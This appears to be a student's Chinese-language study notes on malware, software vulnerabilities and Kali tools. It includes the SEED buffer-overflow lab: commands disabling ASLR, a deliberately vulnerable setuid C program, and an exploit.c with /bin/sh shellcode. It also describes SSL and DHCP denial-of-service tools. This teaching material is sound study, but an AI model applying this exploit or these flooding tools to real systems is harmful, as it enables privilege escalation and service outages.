教材学习
第九章
1 恶意代码的基础知识
1.1 恶意代码的定义与分类
1.1 .1 恶意代码的定义:
恶意代码是指使计算机安装攻击者意图执行的指令集
1.1.2 恶意代码的分类:
计算机病毒、蠕虫、恶意移动代码、后门、特洛伊木马、僵尸程序、内核套件(Rootkit)、融合型恶意代码。
1.2 计算机病毒
1.2.1 计算机病毒的基本特性
感染性、潜伏性、可触发性、破坏性、衍生性
1.2.2 感染及引导机制
可执行文件、引导扇区、支持宏指令的数据文件
1.2.3 传播机制
移动存储、电子邮件、下载、共享目录
1.2.4 网络蠕虫
基本特性:通过网络自主传播
组成结构:弹头(缓冲区溢出攻击、文件共享攻击、利用电子邮件传播、利用其他普遍的错误配置)、传播引擎、目标选择算法、扫描引擎、有效载荷
1.2.5 后门与木马
后门允许攻击者绕过系统常规安全控制机制的程序,能够按照攻击者自己的意图提供访问通道
木马其作为特洛伊木马的简称,是指一类看起来具有某个有用或者善意目的,但实际掩盖着一些隐藏恶意功能的程序。
1.2.6 僵尸程序与僵尸网
僵尸网络的定义
僵尸网络是在网络蠕虫、特洛伊木马、后门工具等传统恶意代码形态的基础上发展融合而产生的一种新型攻击方式。僵尸网络是指攻击者出于恶意目的,传播僵尸程序控制大量主机,并通过一对多的命令与控制信道所组成的网络。
僵尸网络区别于其他攻击方式的基本特性
使用一对多的命令与控制机制,另外,僵尸网络还具有恶意性和网络传播性。
僵尸网络功能结构
网络控制器和僵尸程序,其中僵尸程序分为主体功能模块和辅助功能模块
僵尸程序的命令与控制机制
基于IRC协议的命令与控制机制、基于HTTP协议的命令与控制机制、基于P2P协议的命令与控制机制
1.2.7 Rootkit
Rootkit的定义
一类特洛伊木马后门工具,通过修改现有的操作系统软件,使攻击者获得访问权并隐藏在计算机中。
分类
用户模式Rootkit和内核模式Rootkit(Linux内核模式Rootkit、Windows内核模式Rootkit)。
2 恶意代码分析方法
2.1 恶意代码分析技术概述
静态分析和动态分析
2.2 恶意代码的分析环境
恶意代码发烧友的分析环境
基于虚拟化构建恶意代码分析环境
用于研究的恶意代码自动分析环境
2.3 恶意代码静态分析技术
反病毒软件扫描
文件格式识别(识别软件:PEiD、FileInfo、FileAnalzer)
字符串提取分析
二进制结构分析
反汇编
反编译
代码结构与逻辑分析
加壳识别和代码脱壳
恶意代码动态分析技术:基于快照对比的方法和工具、系统动态行为监控方法(文件行为监控软件、进程行为监控软件、注册表监控软件、本地网络栈行为监控软件)、网络协议栈监控方法、沙箱技术、动态调试技术
第十章
软件安全概述
软件安全漏洞威胁
系统的脆弱性或缺陷、攻击者对缺陷的可访问性和攻击者对缺陷的可利用性三个元素
软件安全困境
复杂性、可扩展性、连通性
软件安全漏洞类型
XSS、SQL注入、PHP远程文件包含、目录遍历、信息泄露、由畸形输入导致的拒绝服务、符号链接问题、格式化字符串、密码学缺陷。
按照技术类:内存安全规范类、输入验证类、竞争条件类、权限混淆与提升类。
缓冲区溢出基本概念
缓冲区溢出定义
计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变了程序执行流程破坏系统运行完整性。
缓冲区溢出攻击原理
栈溢出、堆溢出、内核溢出。
Linux平台上的栈溢出与Shellcode
Linux平台栈溢出攻击技术的模式
NSR、RNS、RS三种模式。
NSR和RNS模式适用于本地缓冲区溢出和远程栈溢出攻击,而RS模式只能用于本地缓冲区溢出攻击。
Linux平台的Shellcode实现技术Linux本地Shellcode实现机制、Linux远程Shellcode实现机制
Windows平台上的栈溢出与Shellcode
Windows平台栈溢出攻击技术
Windows平台栈溢出攻击技术机理:对程序运行过程中废弃栈的处理方式差异、进程内存空间的布局差异、系统功能调用的实现方式差异
Windows平台Shellcode实现技术Windows本地Shellcode、Windows远程Shellcode
SEED实验:缓冲区溢出漏洞实验
在kali上输入命令安装一些用于编译32位C程序sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-dev
输入linux3
,进入32位linux环境;继续输入/bin/bash
使用bash:
使用命令 sudo sysctl -w kernel.randomize_va_space=0
关闭地址空间随机化来随机堆和栈的初始地址
用以下命令设置zsh程序
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
使用命令cd tmp
进入tmp目录使用命令vi stack.c
保存到 /tmp 目录下
代码如下
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
编译stack.c程序,并设置SET-UID,使用如下命令
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
同样把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
输入命令gdb stack
进入gdb调试disass main
得到shellcode在内存中的地址
地址计算方法:
shellcode保存在 buffer+100 的位置,将100换为十六进制与ffffd3f0相加得到ffffd454,添加到exploit.c的此处“x??x??x??x??“
修改后使用命令gcc -m32 -o exploit exploit.c
编译exploit.c程序
先运行攻击程序exploit,再运行漏洞程序stack
多次尝试仍然出现段错误,代码和成功实验一样,不知哪里出错了
视频学习
kali压力测试工具
压力测试通过确定一个系统的瓶颈或者不能接受的性能特点,来获得系统能提供的最大的服务级别的测试。通俗的讲,压力测试是为了发现在什么条件下您的应用程序的性能会变得不可接受。kali下压力测试工具宝库VoIP压力测试,WEB压力测试,网络压力测试及无线压力测试四个分类。
- VoIP压力测试工具
包括iaxflood和inviteflood - WEB压力测试
借助THC-SSL-DOS攻击工具,任何人都可以把提供SSL安全连接的网站攻击下线,这种攻击方法被称为SSL拒绝服务攻击(SSL DOS)。德国黑客组织“The hacker's choice”发布THC SSL DOS,利用SSL中的已知弱点,迅速消耗服务器资源,与传统DDoS工具不同的是,它不需要任何带宽,只需要一台执行单一攻击的电脑。
漏洞存在于协议的renegotiation过中,renegotiation被用于浏览器到服务器之间的验证。
3. 网络测试工具
dhcpig耗尽DHCP资源池的压力测试,尝试把dhcp分配的IP地址全部耗尽,耗尽之后新链接进来获取不到IP地址,则不能上网。
4. Macof
可做泛洪攻击工具,也是网络压力测试的工具
5. Siege
Siege是一个压力测试和评测工具,设计用于WEB开发这评估应用在压力下的承受能力:可以根据配置对一个WEB站点进行多用户的并发访问,记录每个用户所有请求过程的相应时间,并在一定数量的并发访问下重复进行
6. T50压力测试
T50是一个压力测试工具,它功能强大且具有独特的数据包注入工具,T50支持Linux系统可进行多种协议的数据包注入,实际上支持15种协议。
7. 无线压力测试
mdk3和reaver
数字取证工具
数字取证技术将计算机调查和分析技术应用于对潜在的,有法律效力的电子证据的确定与获取,同样他们都是针对黑客和入侵的,目的都是保障网络的安全。
-
PDF取证工具
peepdf是一个使用python编写的PDF文件分析工具,它可以检测恶意的PDF文件。其设计目标是为安全研究人员提供PDF分析中可能使用到的所有组件,无需使用3或者4中工具来完成同一件任务。
2.反数字取证chkrootkit
Linux下查找后门的工具,是判断系统是否被植入Rootkit的利器。 -
内存取证工具
volatility是开源的windowa,Linux,MAC,Android的内存取证分析工具,由python编写成,命令行操作,支持各种操作系统。
-
取证分隔工具binwalk
binwalk是一个固定的分析工具,旨在协助研究人员对固件非分析,提取及逆向工程用处。简单易用,完全自动化脚本,并通过自定义签名,提取规则和插件模块,还有重要的一点的是可以轻松的扩展。借助binwalk有个很强大的功能是提取文件(压缩包)中存在的隐藏文件(或内容文件),亦可分析文件格式。,解压缩包,查看压缩包。
分析一个压缩包,可告知从什么地址开始什么地址结束
使用-e功能可直接将文件解压出来
可作为文件格式分析的工具 -
取证哈希验证工具集
md5deep是一套跨平台的方案,可以计算和比较MD5等哈希加密信息的摘要MD5,SH-1,SHA-256,Tiger,Whirlpool. -
取证镜像工具集
针对镜像文件的取证工具,如mmsstat与mmls
mmls 可以直接分析镜像的目录与状态信息 -
数字取证套件
两个图形化的界面autopsy(以浏览器的形式访问本地的9999端口)
程序的图形化界面dff,图形界面是dff.gui
报告工具与系统服务
- Dradis
Dradis是一个用于提高安全监测效率的信息共享框架(协作平台),Dradis提供了一个集中地信息仓库,用于标记我们目前已经做的工作和下一步计划。
打开dradis会打开浏览器
- Keepnote
一个很精简的笔记软件,特点如下:
富含文本格式,彩色字体,内置图片,超链接,树型分层组织内容,全文搜索,综合截图,文件附件,集成的备份和恢复,拼写检查(通过gtkspell),自动保存,内置的备份和恢复(zip文件存档)
创建后可以加page - 媒体捕捉工具:cutycapt
可以将图像保存 - Recordmydesktop
屏幕录像工具,用来录制桌面。 - Magic Tree
是一个面向渗透测试人员的工具,可以帮助你轻松直接的进行数据合并,查询,外部命令执行和报告生成,所有的数据都会以树形结构存储,非常方便。可以调用nmap - Truecrypt
是一款免费开源的加密软件,同时支持windows vista,7/Xp,MAc OS X,linux等操作系统。 - 服务功能介绍
及时启动和关闭某些服务,使用命令,每一项对应每一项的服务。
ssh可以远程连接